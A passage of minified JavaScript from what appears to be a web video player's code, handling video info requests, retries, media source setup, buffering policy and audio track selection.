else if(T.partnerId===33&&Y.playerStyle==="google-live")F=g.NY("//google-liveplayer.appspot.com/get_video_info",{key:T.videoId});else{Y.ZZ!=="yt"&&g.vW(Error("getVideoInfoUrl for invalid namespace: "+Y.ZZ));var V={html5:"1",video_id:T.videoId,cpn:T.clientPlaybackNonce,eurl:Y.tQ,ps:Y.playerStyle,el:WV(T),hl:Y.ra,list:T.playlistId,agcid:T.Bj,aqi:T.adQueryId,sts:20144,lact:bH()};Object.assign(V,Y.C);Y.forcedExperiments&&(V.forced_experiments=Y.forcedExperiments);T.jY?(V.vvt=T.jY,T.mdxEnvironment&&(V.mdx_environment=
T.mdxEnvironment)):g.Cm(T)&&(V.access_token=g.Cm(T));T.adFormat&&(V.adformat=T.adFormat);T.slotPosition>=0&&(V.slot_pos=T.slotPosition);T.breakType&&(V.break_type=T.breakType);T.a$!==null&&(V.ad_id=T.a$);T.SK!==null&&(V.ad_sys=T.SK);T.Bb!==null&&(V.encoded_ad_playback_context=T.Bb);Y.captionsLanguagePreference&&(V.cc_lang_pref=Y.captionsLanguagePreference);Y.Lz&&Y.Lz!==2&&(V.cc_load_policy=Y.Lz);var B=g.Wc(g.Bc(),65);g.f1(Y)&&B!=null&&!B&&(V.device_captions_on="1");Y.mute&&(V.mute=Y.mute);T.annotationsLoadPolicy&&
Y.annotationsLoadPolicy!==2&&(V.iv_load_policy=T.annotationsLoadPolicy);T.TG&&(V.endscreen_ad_tracking=T.TG);(B=Y.hQ.get(T.videoId))&&B.J_&&(V.ic_track=B.J_);T.Om&&(V.itct=T.Om);JB(T)&&(V.autoplay="1");T.mutedAutoplay&&(V.mutedautoplay=T.mutedAutoplay);T.isAutonav&&(V.autonav="1");T.pI&&(V.noiba="1");T.isMdxPlayback&&(V.mdx="1",V.ytr=T.pU);T.mdxControlMode&&(V.mdx_control_mode=T.mdxControlMode);T.w$&&(V.ytrcc=T.w$);T.u0&&(V.utpsa="1");T.isFling&&(V.is_fling="1");T.isInlinePlaybackNoAd&&(V.mute="1");
T.vnd&&(V.vnd=T.vnd);T.forceAdsUrl&&(B=T.forceAdsUrl.split("|").length===3,V.force_ad_params=B?T.forceAdsUrl:"||"+T.forceAdsUrl);T.C4&&(V.preload=T.C4);b.width&&(V.width=b.width);b.height&&(V.height=b.height);(T.hR?0:T.cS)&&(V.splay="1");T.ypcPreview&&(V.ypc_preview="1");ys(T)&&(V.content_v=ys(T));T.SY&&(V.livemonitor=1);Y.uG&&(V.authuser=Y.uG);Y.pageId&&(V.pageid=Y.pageId);Y.mu&&(V.ei=Y.mu);Y.K&&(V.iframe="1");T.contentCheckOk&&(V.cco="1");T.racyCheckOk&&(V.rco="1");Y.N&&T.Uf&&(V.live_start_walltime=
T.Uf);Y.N&&T.EG&&(V.live_manifest_duration=T.EG);Y.N&&T.playerParams&&(V.player_params=T.playerParams);Y.N&&T.cycToken&&(V.cyc=T.cycToken);Y.N&&T.oA&&(V.tkn=T.oA);z!==0&&(V.vis=z);Y.enableSafetyMode&&(V.enable_safety_mode="1");T.ra&&(V.kpt=T.ra);T.ir&&(V.kids_age_up_mode=T.ir);T.kidsAppInfo&&(V.kids_app_info=T.kidsAppInfo);T.IE&&(V.upg_content_filter_mode="1");Y.widgetReferrer&&(V.widget_referrer=Y.widgetReferrer.substring(0,128));T.ZZ?(b=T.ZZ.latitudeE7!=null&&T.ZZ.longitudeE7!=null?T.ZZ.latitudeE7+
","+T.ZZ.longitudeE7:",",b+=","+(T.ZZ.clientPermissionState||0)+","+(T.ZZ.locationRadiusMeters||"")+","+(T.ZZ.locationOverrideToken||"")):b=null;b&&(V.uloc=b);T.XT&&(V.internalipoverride=T.XT);Y.embedConfig&&(V.embed_config=Y.embedConfig);Y.xG&&(V.co_rel="1");Y.ancestorOrigins.length>0&&(V.ancestor_origins=Array.from(Y.ancestorOrigins).join(","));Y.homeGroupInfo!==void 0&&(V.home_group_info=Y.homeGroupInfo);Y.livingRoomAppMode!==void 0&&(V.living_room_app_mode=Y.livingRoomAppMode);Y.enablePrivacyFilter&&
(V.enable_privacy_filter="1");T.isLivingRoomDeeplink&&(V.is_living_room_deeplink="1");T.Hl&&T.O6&&(V.clip=T.Hl,V.clipt=T.O6);T.Q6&&(V.disable_watch_next="1");T.TP&&(V.forced_by_var="1");for(var D in V)!z5q.has(D)&&V[D]&&String(V[D]).length>512&&(g.Vh(Error("GVI param too long: "+D)),V[D]="");D=Y.lf;g.L1(Y)&&(D=KG(D.replace(/\b(?:www|web)([.-])/,"tv$1"))||Y.lf);Y=g.NY(D+"get_video_info",V);F&&(Y=uj3(Y,F));F=Y}I=F;Z=(E=T.isAd())?1:3;e=0;case 2:if(!(e<Z)){R.lG(4);break}l=I;if(!(e>0)){R.lG(5);break}return g.v(R,
Y5(5E3),6);case 6:m={playerretry:e,playerretrysrc:t},E||(m.recover="embedded"),l=$D(I,m);case 5:return g.v(R,kUf(T,l).then(H,u),7);case 7:if(d=R.Z)return R.return();e++;R.lG(2);break;case 4:M=E?"auth":"manifest.net.retryexhausted";A=E?2:1;if(!E&&Math.random()<1E-4)try{g.Vh(new g.CS("b/152131571",btoa(I)))}catch(f){}return R.return(Promise.reject(new r4(M,{backend:"gvi"},A)))}})};
kUf=function(x,T){function t(b){return u(b.xhr)}
function u(b){if(!x.T9()){b=b?b.status:-1;var z=0,F=((0,g.bo)()-m).toFixed();F=H.B("html5_use_network_error_code_enums")?{backend:"gvi",rc:b,rt:F}:{backend:"gvi",rc:""+b,rt:F};var V="manifest.net.connect";b===429?(V="auth",z=2):b>200&&(V="manifest.net.badstatus",b===400&&(z=2));return Promise.reject(new r4(V,F,z))}}
var H,I,E,Z,e,l,m,d,M,A,R,Y;return g.G(function(b){if(b.C==1){x.fetchType="gvi";H=x.Y();var z={};x.v0&&(z.ytrext=x.v0);(Z=g.z0(z)?void 0:z)?(I={format:"RAW",method:"POST",withCredentials:!0,timeout:3E4,postParams:Z},E=$D(T,{action_display_post:1})):(I={format:"RAW",method:"GET",withCredentials:!0,timeout:3E4},E=T);e={};H.sendVisitorIdHeader&&x.visitorData&&(e["X-Goog-Visitor-Id"]=x.visitorData);(l=XT(H.experiments,"debug_sherlog_username"))&&(e["X-Youtube-Sherlog-Username"]=l);Object.keys(e).length>
0&&(I.headers=e);m=(0,g.bo)();return g.v(b,I$(z9,E,I).then(void 0,t),2)}d=b.Z;if(!d||!d.responseText)return b.return(u(d));x.loading=!1;M=o6(d.responseText);g.Qv(x,M,!0);if(x.errorCode)return A={ec:x.errorCode,ed:x.errorDetail,es:x.p7||""},b.return(Promise.reject(new r4("auth",A,2)));if(!x.loading&&!Jj(x))return R=x.isAd()?"auth":"manifest.net.retryexhausted",Y=x.isAd()?2:1,b.return(Promise.reject(new r4(R,{successButUnplayable:"1"},Y)));g.RV(b)})};
bwV=function(x,T){return new r4(x?"auth":"manifest.net.retryexhausted",T,x?2:1)};
mh=function(x,T,t){t=t===void 0?!1:t;var u,H,I,E;g.G(function(Z){if(Z.C==1){u=x.Y();if(t&&(!g.K1(u)||WV(T)!=="embedded")||T.Q6||WV(T)!=="adunit"&&(g.bS(u)||Dm(u)||g.L2(u)||g.L1(u)||wV(u)==="WEB_CREATOR"))return Z.return();H=g.sP(u,g.Cm(T));return H.C?g.v(Z,H.C,3):(I=H.getValue(),Z.lG(2))}Z.C!=2&&(I=Z.Z);E=I;return Z.return(Fhf(x,T,E))})};
Fhf=function(x,T,t){var u,H,I,E,Z;return g.G(function(e){if(e.C==1){g.PX(e,2);u=Y23(t);var l=T.Y();g.Bc();var m={context:g.uh(T),videoId:T.videoId,racyCheckOk:T.racyCheckOk,contentCheckOk:T.contentCheckOk,autonavState:"STATE_NONE"};WV(T)==="adunit"&&(m.isAdPlayback=!0);l.embedConfig&&(m.serializedThirdPartyEmbedConfig=l.embedConfig);l.xG&&(m.showContentOwnerOnly=!0);T.rz&&(m.showShortsOnly=!0);g.Wc(0,141)&&(m.autonavState=g.Wc(0,140)?"STATE_OFF":"STATE_ON");if(g.f1(l)){var d=g.Wc(0,65);d=d!=null?
!d:!1;var M=!!g.VT("yt-player-sticky-caption");m.captionsRequested=d&&M}var A;if(l=(A=l.getWebPlayerContextConfig())==null?void 0:A.encryptedHostFlags)m.playbackContext={encryptedHostFlags:l};H=m;I=g.K2(h5J);x.lI("wn_s");return g.v(e,g.QK(u,H,I),4)}if(e.C!=2)return E=e.Z,x.lI("wn_r"),!E||"error"in E&&E.error||(Z=E,g.Gw(T.Y())&&Z.trackingParams&&Ff(Z.trackingParams),g.Qv(T,{raw_watch_next_response:E},!1)),g.cX(e,0);g.Yq(e);g.RV(e)})};
vGm=function(x){x.lI("vir");x.lI("ps_s");yK("vir",void 0,"video_to_ad");var T=c6X(x);T.then(function(){x.lI("virc");yK("virc",void 0,"video_to_ad");x.lI("ps_r");yK("ps_r",void 0,"video_to_ad")},function(){x.lI("virc");
yK("virc",void 0,"video_to_ad")});
return T};
g.A6=function(x,T,t,u,H,I,E,Z,e,l){e=e===void 0?new g.NE(x):e;l=l===void 0?!0:l;g.$B.call(this);var m=this;this.Cf=x;this.playerType=T;this.MJ=t;this.sN=u;this.getVisibilityState=I;this.visibility=E;this.sF=Z;this.videoData=e;this.gC=l;this.logger=new g.t$("VideoPlayer");this.Ei=null;this.ow=new Al;this.KN=null;this.x5=!0;this.FW=this.Kf=null;this.L$=[];this.WZ=new lR;this.z7=this.rW=null;this.Xw=new lR;this.fD=null;this.TA=this.Tp=!1;this.nD=NaN;this.Li=!1;this.playerState=new g.uZ;this.cC=[];this.jK=
new g.nj;this.ri=new zjC(this);this.mediaElement=null;this.pm=new g.wX(this.cqG,15E3,this);this.K8=this.Vq=!1;this.Rs=NaN;this.X6=!1;this.Ds=0;this.Dh=!1;this.S9=NaN;this.ej=new ZE(new Map([["bufferhealth",function(){return u8i(m.n2)}],
["bandwidth",function(){return m.mf()}],
["networkactivity",function(){return m.Cf.schedule.uG}],
["livelatency",function(){return m.isAtLiveHead()&&m.isPlaying()?VZf(m):NaN}],
["rawlivelatency",function(){return VZf(m)}]]));
this.w6=0;this.loop=!1;this.playbackRate=1;this.oQ=0;this.n2=new K_q(this);this.Kw=!1;this.BC=[];this.nj=this.uU=0;this.C8=this.hn=!1;this.hj=this.DI=0;this.TL=-1;this.bC="";this.KG=new g.wX(this.v4,0,this);this.nQ=!1;this.zI=this.VF=null;this.Na9=[this.jK,this.KG,this.pm,this.ej];this.Co=this.BH=null;this.oH=function(){var d=m.VA();d.provider.Cf.cS||d.provider.Em.getVisibilityState()===3||(d.provider.Cf.cS=!0);MhV(d);if(d.Z){var M=d.Z;M.T&&M.C<0&&M.provider.Em.getVisibilityState()!==3&&$dq(M)}d.qoe&&
(d=d.qoe,d.mu&&d.Z<0&&d.provider.Cf.cS&&nA3(d),d.j&&hl(d));m.Kf&&dk(m);m.Cf.Xe&&!m.videoData.backgroundable&&m.mediaElement&&!m.D$()&&(m.isBackground()&&m.mediaElement.qA()?(m.kc("bgmobile",{suspend:1}),m.iM(!0,!0)):m.isBackground()||M3(m)&&m.kc("bgmobile",{resume:1}))};
this.yF={ZS:function(d){m.ZS(d)},
x4U:function(d){m.Ei=d},
q$c:function(){return m.ge},
gK:function(){return m.BJ},
My:function(){return m.FW},
Enc:function(){return m.TU},
k5v:function(){return m.hF},
sYY:function(){},
Y:function(){return m.Cf},
Bt:function(){return m.mediaElement},
Vmf:function(d){m.UW(d)},
CwY:function(){return m.sN}};
this.logger.debug(function(){return"creating, type "+T});
this.Gw=new L_f(this.Cf);this.Gt=new DIC(this.Cf,this.sN,this);this.dV=new g.p8(function(){return m.getCurrentTime()},function(){return m.getPlaybackRate()},function(){return m.getPlayerState()},function(d,M){d!==g.$m("endcr")||g.p(m.playerState,32)||m.W1();
H(d,M,m.playerType)},function(d,M){g.pB(m.videoData)&&m.kc(d,M)});
g.y(this,this.dV);g.y(this,this.n2);GUC(this,e);this.videoData.subscribe("dataupdated",this.UzG,this);this.videoData.subscribe("dataloaded",this.sT,this);this.videoData.subscribe("dataloaderror",this.handleError,this);this.videoData.subscribe("ctmp",this.kc,this);this.videoData.subscribe("ctmpstr",this.q2,this);this.Ig();b9q(this.oH);this.visibility.subscribe("visibilitystatechange",this.oH);this.TU=new g.wX(this.Ls,g.Z9(this.Cf.experiments,"html5_player_att_initial_delay_ms")||4500,this);this.hF=
new g.wX(this.Ls,g.Z9(this.Cf.experiments,"html5_player_att_retry_delay_ms")||4500,this);this.H$=new g.Ow(this)};
GUC=function(x,T){if(x.playerType===2||x.Cf.U$)T.xu=!0;var t=LYq(T.Zk,T.wf,x.Cf.K,x.Cf.N);t&&(T.adFormat=t);x.playerType===2&&(T.VL=!0);if(x.isFullscreen()||x.Cf.K)t=g.VT("yt-player-autonavstate"),T.autonavState=t||(x.Cf.K?2:x.videoData.autonavState);T.endSeconds&&T.endSeconds>T.startSeconds&&E2(x,T.endSeconds)};
Lh4=function(x){AlX(x.ge);g.IP(x.ge);for(var T=x.BJ,t=g.S(T.C.values()),u=t.next();!u.done;u=t.next())AlX(u.value);T.C.clear();g.IP(x.BJ)};
nG3=function(x){var T=x.videoData;vGm(x).then(void 0,function(t){x.videoData!==T||T.T9()||(t=kX(t),t.errorCode==="auth"&&x.videoData.errorDetail?x.V9(t.errorCode,2,unescape(x.videoData.errorReason),bF(t.details),x.videoData.errorDetail,x.videoData.p7||void 0):x.handleError(t))})};
BkH=function(x){if(!g.p(x.playerState,128))if(x.videoData.isLoaded(),x.logger.debug("finished loading playback data"),x.L$=g.o2(x.videoData.Hv),g.cV(x.videoData)){x.MJ.tick("bpd_s");Rz(x).then(function(){x.MJ.tick("bpd_c");if(!x.T9()){x.Tp&&(x.QF(iZ(iZ(x.playerState,512),1)),M3(x));var u=x.videoData;u.endSeconds&&u.endSeconds>u.startSeconds&&E2(x,u.endSeconds);x.WZ.finished=!0;Pk(x,"dataloaded");x.Xw.MX()&&aEH(x);uam(x.Gt,x.z7)}});
x.B("html5_log_media_perf_info")&&x.kc("loudness",{v:x.videoData.tI.toFixed(3)},!0);var T,t=(T=x.mediaElement)==null?void 0:T.yA();if(t&&"disablePictureInPicture"in t&&x.Cf.OG)try{t.disablePictureInPicture=x.Cf.CB&&!x.videoData.backgroundable}catch(u){g.Vh(u)}gG5(x)}else Pk(x,"dataloaded")};
Rz=function(x){SZ(x);x.z7=null;var T=aiv(x.Cf,x.videoData,x.D$());x.rW=T;x.rW.then(function(t){WhX(x,t)},function(t){x.T9()||(t=kX(t),x.visibility.isBackground()?(ck(x,"vp_none_avail"),x.rW=null,x.WZ.reset()):(x.WZ.finished=!0,x.V9(t.errorCode,t.severity,"HTML5_NO_AVAILABLE_FORMATS_FALLBACK",bF(t.details))))});
return T};
WhX=function(x,T){if(!x.T9()&&!T.videoData.T9()){x.logger.debug("finished building playback data");x.z7=T;TkH(x.n2,x.z7);if(x.videoData.isLivePlayback){var t=D3C(x.sF.wD,x.videoData.videoId)||x.Kf&&!isNaN(x.Kf.uG);t=x.B("html5_onesie_live")&&t;iR(x)||x.videoData.Ym>0&&!ZF(x.videoData)||t||x.seekTo(x.gb(),{wp:"videoplayer_playbackData",seekSource:18})}if(x.videoData.j.C){if(x.B("html5_sabr_report_missing_url_as_error")&&EsX(x.videoData)){x.handleError(new r4("fmt.missing",{missabrurl:"1"},2));return}x.Kf?
g.Vh(Error("Duplicated Loader")):(t=g.Z9(x.Cf.experiments,"html5_onesie_defer_content_loader_ms"))&&x.jH()&&D3C(x.sF.wD,x.videoData.yV)?g.lP(function(){x.T9()||x.Kf||y6X(x)},t):y6X(x)}else!x.videoData.j.C&&OD(x.videoData)&&x.jr(new Ef(x.videoData.videoId||"",4));
x.h6();KCC(T).then(function(){var u={};x.NK(u);x.Cf.AM()&&x.B("html5_log_media_perf_info")&&x.kc("av1Info",u);dk(x)})}};
aEH=function(x){x.T9();x.logger.debug("try finish readying playback");if(x.Xw.finished)x.logger.debug("already finished readying");else if(x.WZ.finished)if(g.p(x.playerState,128))x.logger.debug("cannot finish readying because of error");else if(x.L$.length)x.logger.debug(function(){return"cannot finish readying because of pending preroll: "+x.L$});
else if(x.dV.started||vyv(x.dV),x.A7())x.logger.debug("cannot finish readying because cuemanager has pending prerolls");else{x.Kf&&(x.TA=Edf(x.Kf.timing));x.Xw.finished||(x.Xw.finished=!0);var T=x.B("html5_onesie_live")&&x.Kf&&!isNaN(x.Kf.uG);!x.videoData.isLivePlayback||x.videoData.Ym>0&&!ZF(x.videoData)||T||iR(x)||(x.logger.debug("seek to head for live"),x.seekTo(Infinity,{wp:"videoplayer_readying",seekSource:18}),x.isBackground()&&(x.K8=!0));eDi(x.VA());x.logger.debug("finished readying playback");
x.publish("playbackready",x);WM("pl_c",x.MJ.timerName)||(x.MJ.tick("pl_c"),yK("pl_c",void 0,"video_to_ad"));WM("pbr",x.MJ.timerName)||(x.MJ.tick("pbr"),yK("pbr",void 0,"video_to_ad"))}else x.logger.debug("playback data not loaded")};
E2=function(x,T){x.KN&&Nk3(x);x.KN=new g.te(T*1E3,0x7ffffffffffff);x.KN.namespace="endcr";x.addCueRange(x.KN)};
Nk3=function(x){x.removeCueRange(x.KN);x.KN=null};
J65=function(x,T,t,u,H){var I=x.VA(H),E=g.pB(x.videoData)?I.getVideoData():x.videoData;E.Z=t;var Z=g.YG(x);t=new WCC(E,t,T,Z?Z.itag:"",u);x.Cf.experiments.aU("html5_refactor_sabr_video_format_selection_logging")?(t.videoId=H,x.Co=t):I.EN(t);H=x.Gt;H.Z=0;H.C=0;x.publish("internalvideoformatchange",E,T==="m")};
g.YG=function(x){var T=U2(x);return Ht(T)||!x.z7?null:g.Oh(x.z7.C.videoInfos,function(t){return T.K(t)})};
U2=function(x){if(x.z7){var T=x.Gt;var t=x.z7;x=x.Cm();var u=JJC(T);if(Ht(u)){if(u=yJ3(T,t).compose(O9J(T,t)).compose(wo5(T,t)).compose(tn5(T,t.videoData)).compose(sDf(T,t.videoData,t)).compose(cr(T,t)).compose(Qd3(T,t)),Ht(x)||T.B("html5_apply_pbr_cap_for_drm"))u=u.compose(pof(T,t))}else T.B("html5_perf_cap_override_sticky")&&(u=u.compose(cr(T,t))),T.B("html5_ustreamer_cap_override_sticky")&&(u=u.compose(pof(T,t)));u=u.compose(Qd3(T,t));T=t.videoData.Gq.compose(u).compose(t.videoData.Ks).compose(x)}else T=
yv;return T};
HBH=function(x){var T=x.Gt;x=x.videoData;var t=tn5(T,x);T.B("html5_disable_client_autonav_cap_for_onesie")||t.compose(sDf(T,x));return t};
dk=function(x){if(x.videoData.j&&x.videoData.j.C){var T=U2(x);x.Kf&&Tbf(x.Kf,T)}};
CRf=function(x){var T;return!!(x.B("html5_native_audio_track_switching")&&g.M4&&((T=x.videoData.Z)==null?0:Xt(T)))};
QzC=function(x){if(!CRf(x))return!1;var T;x=(T=x.mediaElement)==null?void 0:T.audioTracks();return!!(x&&x.length>1)};
Ow5=function(x){var T=pkD(x);if(T)return x.videoData.getAvailableAudioTracks().find(function(t){return t.S8.getName()===T})};
pkD=function(x){var T;if(x=(T=x.mediaElement)==null?void 0:T.audioTracks())for(T=0;T<x.length;++T){var t=x[T];if(t.enabled)return t.label}};
fE3=function(x){var T,t=x.videoData.getAvailableAudioTracks(),u=x.videoData.OG;u&&(T=t.find(function(I){return I.getLanguageInfo().id===u}));
if(x.Cf.experiments.aU("enable_audio_description_setting")&&g.Wc(g.Bc(),198)){t=g.S(t);for(var H=t.next();!H.done;H=t.next())if(H=H.value,H.T){T=H;break}}T||(x=x.getAudioTrack(),T=x.S8.isDefault?void 0:x);return T};
y6X=function(x){for(var T=x.videoData.C,t=g.S(Object.entries({cpn:x.videoData.clientPlaybackNonce,c:x.Cf.C.c,cver:x.Cf.C.cver})),u=t.next();!u.done;u=t.next()){var H=g.S(u.value);u=H.next().value;H=H.next().value;for(var I=g.S(Object.values(T.C)),E=I.next();!E.done;E=I.next())B4m(E.value.QA,u,H);I=void 0;(I=T.J)==null||B4m(I,u,H)}t=x.Cf;u=x.videoData;T=new g.DKJ(t);H=WjX({hasSubfragmentedFmp4:u.hasSubfragmentedFmp4,P5:u.P5});T.J=H;T.uG=u.maxReadAheadMediaTimeMs/1E3||T.uG;H=t.schedule;H.j.Z$()===H.policy.j?
T.Ym=10:T.Ym=u.minReadAheadMediaTimeMs/1E3||T.Ym;T.tI=u.readAheadGrowthRateMs/1E3||T.tI;T.U9=!KQ();g.bS(t)||!KQ()?(H=t.experiments,T.nf=8388608,T.Lz=524288,T.TP=5,T.G9=1048576,T.G$=1.5,T.Zp=4587520,Cy()&&(T.Zp=786432),T.S*=1.1,T.ZZ*=1.1,T.dN=!0,T.zc=H.aU("persist_disable_player_preload_on_tv")||H.aU("persist_disable_player_preload_on_tv_for_living_room")||!1):t.Z&&(T.S*=1.3,T.ZZ*=1.3);g.vU&&g.D2("crkey")&&(H=t.C.cmodel==="CHROMECAST/ANCHOVY",T.nf=20971520,T.Lz=1572864,H&&(T.Zp=812500,T.pF=1E3,T.m_=
5,T.G9=2097152));g.WT&&(T.dN=!0);t.supportsGaplessAudio()||(T.s$=!1);Tw&&(T.VI=!0);T.mY=t.B("html5_peak_shave");u.fetchType==="onesie"&&t.B("html5_disable_peak_shave_for_onesie")&&(T.mY=!1);var Z;H=(Z=u.C)==null?void 0:mV(Z);if(ZF(u)){T.Xt=!0;T.KB||(T.vD=!0);T.L2=!0;T.ZV=!0;T.lH=!0;if(u.latencyClass==="ULTRALOW"||u.latencyClass==="LOW"&&!t.B("html5_disable_low_pipeline"))T.Rc=2,T.WV=4;T.HD=u.defraggedFromSubfragments;if(u.CC||t.B("html5_publish_all_cuepoints"))T.I5=!0;g.rb(u)&&(T.tM=!1);T.SH=g.Yv(t)}u.isAd()&&
(T.EU=0,T.Xh=0);T.vE=t.B("html5_enable_subsegment_readahead_v3")||t.B("html5_ultra_low_latency_subsegment_readahead")&&u.latencyClass==="ULTRALOW";T.j=t.AM();xi()&&/(K\d{3}|KS\d{3}|KU\d{3})/.test(t.C.cmodel)&&!t.B("html5_disable_move_pssh_to_moov")&&H&&(T.dN=!1);I=0;t.B("html5_live_use_alternate_bandwidth_window_sizes")&&(I=t.schedule.policy.C,u.isLivePlayback&&(I=g.Z9(t.experiments,u.latencyClass==="ULTRALOW"?"html5_live_ultra_low_latency_bandwidth_window":u.isLowLatencyLiveStream?"html5_live_low_latency_bandwidth_window":
"html5_live_normal_latency_bandwidth_window")||I));Z=t.schedule;Z.Z.K=ZF(u)?.5:0;if(!Z.policy.Z&&I&&(Z=Z.j,I=Math.round(I*Z.resolution),I!==Z.C)){E=Array(I);var e=Math.min(I,Z.j?Z.C:Z.Z),l=Z.Z-e;l<0&&(l+=Z.C);for(var m=0;m<e;++m)E[m]=Z.values[(l+m)%Z.C];for(;m<I;++m)E[m]=Infinity;Z.C=I;Z.values=E;Z.Z=e%I;Z.j=e===I;Z.ZU=!0;Z.T=azV(Z)}u.isLivePlayback&&(T.kX=g.Z9(t.experiments,"html5_min_startup_buffered_media_duration_for_live_secs")||.25,T.AQ=!1);u.Ut()&&(T.AQ=!1);jV(u)&&(T.vE=!0,u.latencyClass===
"LOW"?T.C4=g.Z9(t.experiments,"html5_jumbo_mobile_subsegment_readahead_target"):u.latencyClass==="ULTRALOW"&&(T.C4=g.Z9(t.experiments,"html5_jumbo_ull_subsegment_readahead_target")),T.o5=!0);u.B9()&&(T.vB=1.3);T.VI=T.VI||u.Jw;T.Ee=(T.Ee||u.Ee)&&t.N;T.yw=t.B("html5_sunset_aac_high_codec_family");T.Z=g.pB(u);T.hM=u.J||T.Z&&!t.B("html5_enable_ssap_seteos");t.AM()&&(T.Cz=!0);u.J&&!H&&(T.S$=!0);u.J&&u.isAd()&&(T.S*=1.6,T.ZZ*=1.6);OD(u)&&(T.K=u.videoId,T.I8=!0,T.Aj=100,u.aM&&u.aM.length>0&&(T.Ap=u.aM));
T.FR=u.kX;T.TC=hy(t,{},u.j||void 0,uv(u));T.SY=sD(u)&&g.L2(t);$7(u)&&(t.B("html5_sabr_allow_video_keyframe_without_audio")&&(T.tR=!0),t.B("html5_sabr_report_partial_segment_estimated_duration")&&(T.pX=!0),T.C=!0,T.JJ=t.B("html5_sabr_enable_utc_seek_requests"),T.Yn=t.B("html5_sabr_enable_live_clock_offset"),T.ea=t.B("html5_disable_client_resume_policy_for_sabr"),T.IE=t.B("html5_trigger_loader_when_idle_network"),T.un=t.B("html5_sabr_parse_live_metadata_playback_boundaries"),T.xQ=t.B("html5_enable_platform_backpressure_with_sabr"),
T.Fe=t.B("html5_consume_onesie_next_request_policy_for_sabr"),T.Px=t.B("html5_sabr_report_next_ad_break_time"),T.M4=t.B("html5_log_high_res_buffer_timeline")&&t.AM(),T.nX=t.B("html5_remove_stuck_slices_beyond_max_buffer_limits"),T.YO=t.B("html5_gapless_sabr_btl_last_slice")&&tB(u),T.fu=t.B("html5_reset_last_appended_slice_on_seek")&&tB(u),ZF(u)?(T.TG=!0,T.Xe=t.B("html5_disable_variability_tracker_for_live"),T.mu=t.B("html5_sabr_use_accurate_slice_info_params"),t.B("html5_simplified_backup_timeout_sabr_live")&&
(T.Pm=!0,T.pF=T.eH)):T.FD=t.B("html5_probe_request_on_sabr_request_progress"),T.O6=t.B("html5_serve_start_seconds_seek_for_post_live_sabr"),T.qz=t.B("html5_flush_index_on_updated_timestamp_offset"),T.QU=t.B("html5_enable_sabr_request_pipelining")&&!g.pB(u),T.Sd=t.B("html5_ignore_partial_segment_from_live_readahead"),T.Jj=t.B("html5_use_non_active_broadcast_for_post_live"),T.Om=t.B("html5_use_centralized_player_time"),T.GC=t.B("html5_consume_onesie_sabr_seek"),T.jY=t.B("html5_enable_sabr_seek_loader_refactor"),
T.VQ=t.B("html5_update_segment_start_time_from_media_header"),u.enableServerStitchedDai&&(T.T=!0,T.xB=t.B("html5_reset_server_stitch_state_for_non_sabr_seek"),T.D8=t.B("html5_remove_ssdai_append_pause"),T.tQ=t.B("html5_consume_ssdai_info_with_streaming"),T.EG=t.B("html5_process_all_cuepoints"),T.Nz=t.B("html5_ssdai_log_ssevt_in_loader")));T.D=T.C&&t.B("html5_sabr_live");T.ra=g.iFm(u);Pt(t.T,SR.BITRATE)&&(T.Zp=NaN);if(Z=g.Z9(t.experiments,"html5_request_size_max_kb"))T.G9=Z*1024;t.T.T?T.cS="; "+SR.EXPERIMENTAL.name+
"=allowed":t.B("html5_enable_cobalt_tunnel_mode")&&(T.cS="; tunnelmode=true");Z=u.serverPlaybackStartConfig;(Z==null?0:Z.enable)&&(Z==null?0:Z.playbackStartPolicy)&&(T.e7=!0,JJ(T,Z.playbackStartPolicy,2));Z=fE3(x);x.ow.removeAll();a:{t=x.sF.wD;if(u=x.videoData.videoId)if(H=t.C.get(u)){t.C.remove(u);t=H;break a}t=void 0}x.Kf=new g.Hr(x,x.Cf.schedule,T,x.videoData.C,x.videoData.j,U2(x),Z,x.videoData.enableServerStitchedDai,t,x.videoData.G9);T=x.videoData.B("html5_disable_preload_for_ssdai_with_preroll")&&
x.videoData.isLivePlayback&&x.jH()?!0:x.Tp&&g.bS(x.Cf)&&x.videoData.isLivePlayback;x.Kf.initialize(x.getCurrentTime(),U2(x),T);x.videoData.probeUrl&&(x.Kf.mu=x.videoData.probeUrl);if(x.L$.length||x.Tp)x.videoData.cotn||bR(x,!1);tZv(x.n2,x.Kf);x.VF&&(cBf(x.Kf,new g.q0(x.VF)),x.kc("sdai",{sdl:1}));x.zI&&(x.Kf.iL(x.zI),x.n2.N=!1);g.Km(x.videoData)&&(x=x.Kf,x.policy.Bf=x.policy.oA)};
SZ=function(x){x.Kf&&(x.Kf.dispose(),x.Kf=null,tZv(x.n2,null));x.WE()?wk4(x):x.kq()};
wk4=function(x){if(x.FW)if(x.logger.debug("release media source"),x.Pg(),x.FW.T)try{x.Cf.AM()&&x.kc("rms",{l:"vprms",sr:x.WE(),rs:wo(x.FW)});x.FW.clear();var T;(T=x.mediaElement)!=null&&(T.Z=x.FW);x.FW=null}catch(t){T=new g.CS("Error while clearing Media Source in VideoPlayer: "+t.name+", "+t.message),T=kX(T),x.handleError(T),x.kq()}else x.kq()};
Khq=function(x,T){T=T===void 0?!1:T;if(x.FW)return x.FW.j;x.logger.debug("update media source");a:{T=T===void 0?!1:T;try{g.N2()&&x.videoData.xN()&&UaD(x.mediaElement);var t=x.mediaElement.My(x.zY(),x.iK())}catch(H){if(VNX(x.ri,"html5.missingapi",{updateMs:"1"}))break a;console.error("window.URL object overwritten by external code",H);x.V9("html5.missingapi",2,"HTML5_NO_AVAILABLE_FORMATS_FALLBACK","updateMs.1");break a}x.Py(t,!1,!1,T)}var u;return((u=x.My())==null?void 0:u.j)||null};
Xki=function(x,T){T=T===void 0?!1:T;if(x.Kf){x.B("html5_keep_ssdai_avsync_in_loader_track")&&zHf(x.Kf);var t=x.getCurrentTime()-x.Pk();x.Kf.seek(t,{fN:T}).p_(function(){})}else y6X(x)};
T_V=function(x,T,t,u){t=t===void 0?!1:t;u=u===void 0?!1:u;if(x.FW&&(!T||x.FW===T)){x.logger.debug("media source opened");var H=x.getDuration();!H&&ZF(x.videoData)&&(H=25200);if(x.FW.isView){var I=H;x.logger.debug(function(){return"Set media source duration to "+I+", video duration "+H});
I>x.FW.getDuration()&&xpH(x,I)}else xpH(x,H);KJ3(x.Kf,x.FW,t,u);x.publish("mediasourceattached")}};
xpH=function(x,T){if(x.FW){x.FW.IC(T);var t;(t=x.Kf)!=null&&t.policy.Om&&(t.D=T)}};
tVv=function(x,T){J65(x,T.reason,T.C.info,T.token,T.videoId)};
